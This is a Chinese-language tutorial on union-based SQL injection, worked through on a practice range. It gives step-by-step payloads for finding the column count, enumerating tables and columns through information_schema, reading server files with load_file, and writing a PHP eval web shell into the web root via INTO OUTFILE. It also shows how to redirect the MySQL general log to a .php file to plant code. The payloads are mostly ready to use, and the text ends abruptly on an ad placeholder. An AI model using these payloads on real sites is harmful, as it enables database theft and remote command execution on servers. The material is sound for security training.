SQL注入漏洞之联合查询
1.背景:SQL注入是比较常见的网络攻击方式之一,利用系统的bug进行攻击
2.本质:违背了数据与代码分离的原则。
3.学习目的:为了摆脱工具的依赖性,目前厂商对能够对部分工具进行识别,所以,少年你得加油了!
4.产生条件:
1.我们能够控制输入的内容
2.web应用程序把我们输入的内容带入到数据库执行
5.sql注入原理:对用户输入过滤不严格
6.攻击思路:
寻找能够修改SQL数据的位置(一般情况进行数据查询)
判断数据库类型
针对不同数据库特点进行SQL注入攻击
7.SQL注入分类:
SQL注入攻击根据应用程序处理返回数据库内容的不同,可以分为显错注 入、报错注入、盲注。
按照注入点类型划分:
数字型注入和字符型注入
按数据提交方式划分:
get,post,cookie,http头部注入
按照执行效果来划分:
布尔盲注,延时注入,报错注入,联合查询注入,堆查询注入,宽字节注入
payload:载荷,屏蔽载荷,‘-- ’或者 #,
替换空格:/**/
OK,那开始
(采用东塔靶场,大家需要可以自己找一下啊)
先判断是否有注入点:为get注入
一.判断注入类型
1=1为true,1=2为false 此为数字型注入,如图,1=2为false,1=1为true
存在注入,(%20)是url编码中的空格
概念:
select 后面的字段名相当于变量名
from 后面的是结果集,表是结果集的一种,如果对结果集进行二次查询
order by对结果集(user)按照列(相当于程序语言中的实体对象)进行排序,默认升序排序,降序需要后面添加desc
group by分组汇总
limit 从结果集第m条记录开始获取n记录
sql 语句
SELECT * FROM `users` WHERE `user_id`='1' ORDER BY 10;
payload
1' ORDER BY 10--
构造payload,
二.确定查询字段数
语句后面连接 order by判断查询表达式数量
order by 9--+
我靠,我实在太天才了,可以去买彩票了,
经分析:8列数据。
三.确定数据显示位
sql union操作符:用于合并两个或多个select语句的结果集
注意:union内部的每个select语句必须拥有相同数量的列,列也必须拥有相似数据类型,同时每个select语句中的列的顺序必须相同。
由此可知,列数必须相同。。。
8列数据(order by 给出)
四:获取信息
用获取信息的函数替换全局变量替换显示位(1)
注意:第一个查询的值已经展示到页面上,让第一个查询出错没有值,SQL查询不做限制情况下,每次只能查询一跳语句,所以要让前面的值不存在,后面查询的值替换这个位置即可看到占位的位置
每一个都是一个占位。
(1)获取环境相关信息
函数、全局变量 |
说明 |
---|---|
version() | 数据库系统版本 |
@@datadir | 数据库文件路径 |
@@basedir | mysql 安装路径 |
user() | 用户名 |
current_user() | 当前用户名 |
system_user() | 系统用户名 |
database() | 当前打开的数据库名 |
获取系统信息,database()=dotaxueyuan
获取数据库表的数量
information_schema保存所有表和字段信息的库。
(2)获取表的相关信息
聚合函数
count() | 计数 |
---|---|
sum() | 求和 |
avg() | 平均值 |
函数名 | 说明 |
max() | 最大值 |
min() | 最小值 |
count(*)替换显示位获取当前数据库的表的数量
表的数量
payload
-1 union select 1,2,count(*),4,5,6,7,8 from information_schema.tables where table_schema = database() --+
关键表: information_schema.tables 数据库中所有表的信息字符串合并函数
函数名 | 说明 |
---|---|
concat() | 横向合并 |
group_concat() | 纵向合并 |
sql 语句
表的名称
-1% union select 1,2,table_name,4,5,6,7,8%20from information_schema.tables where table_schema = database() --+
-1%20union%20select%201,2,column_name,4,5,6,7,8%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20--+
table_name(表名)=key,users
-1 UNION SELECT GROUP_CONCAT(table_name),2,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() --+
2个和8个
表的数量
表的列名:id,key
表的数据,检验一下大家,看看掌握没,最后一步,就可以获取相关key
获取不到的话,请重新在自己测试一下,一步一步,直到掌握。
key
一般情况下获取到数据,就可以查找后台,根据后台进行下一步操作
但如果有相应权限的话,就可以进行文件读写操作(磁盘操作)
磁盘操作
常用函数或全局变量
函数名或全局变量 | 说明 |
---|---|
load_file() | 从磁盘文件读取内容 |
into outfile 文件名 | 向磁盘文件写入内容 |
set general_log=on | 把数据库系统日志记录打开 |
set general_log_file=文件名 | 设置日志文件路径 |
读取文件:
可以进行本地测试:
mysql 读取本地文件配置
打开 my.ini 文件,在 [mysqld] 下添加一行
[mysqld]
secure_file_priv =
确认当前用户有读取文件权限
sql 语句
SELECT first_name, last_name FROM users where user_id=1 and (SELECT count(*) FROM mysql.user) > 0 --
-1 and (SELECT count(*) FROM mysql.user) > 0 --
如果查询内容正常显示表示有读写权限,否则当前数据库用户没有读写权限
读写权限
读取文件内容
sql 语句
SELECT first_name, last_name FROM users WHERE user_id=-1 UNION SELECT load_file('c:/xxxx/htdocs/s.php'),2,3,4,5,6,7,8 --+
payload
-1 UNION SELECT load_file('c:/xxx/php/php.ini'),2,3,4,5,6,7,8 --+
写文件
同上配置 mysql 读取文件权限,并确认用户读写权限正常写入文件 sql 语句
SELECT first_name, last_name FROM users INTO OUTFILE 'c:/xxx/htdocs/test.txt'
渗透 sql 语句
SELECT first_name, last_name FROM users WHERE user_id=-1 UNION SELECT '<?php eval($_REQUEST["cmd"]);?>',2,3,4,5,6,7,8 INTO OUTFILE 'c:/xxx/htdocs/ma.php'#
payload
-1 UNION SELECT '<?php eval($_REQUEST["cmd"]);?>',2,3,4,5,6,7,8 INTO OUTFILE 'E:/phpStudy_64/phpstudy_pro/www/ma.php'#
写日志
查询系统日志状态 sql 语句1
show variables like '%general_log%';
Variable_name | Value |
---|---|
general_log | OFF |
general_log_file | DESKTOP-9DKPNQG.log |
设置日志开启
set global general_log=ON;
设置日志路径
set global general_log_file='c:\\xxxx\\htdocs\\m.php';
启动日志后所有查询语句都会记录在日志里,可以执行任何包含攻击代码的查询,使语句进入日志,再通过日志文件发动攻击
开始插入广告: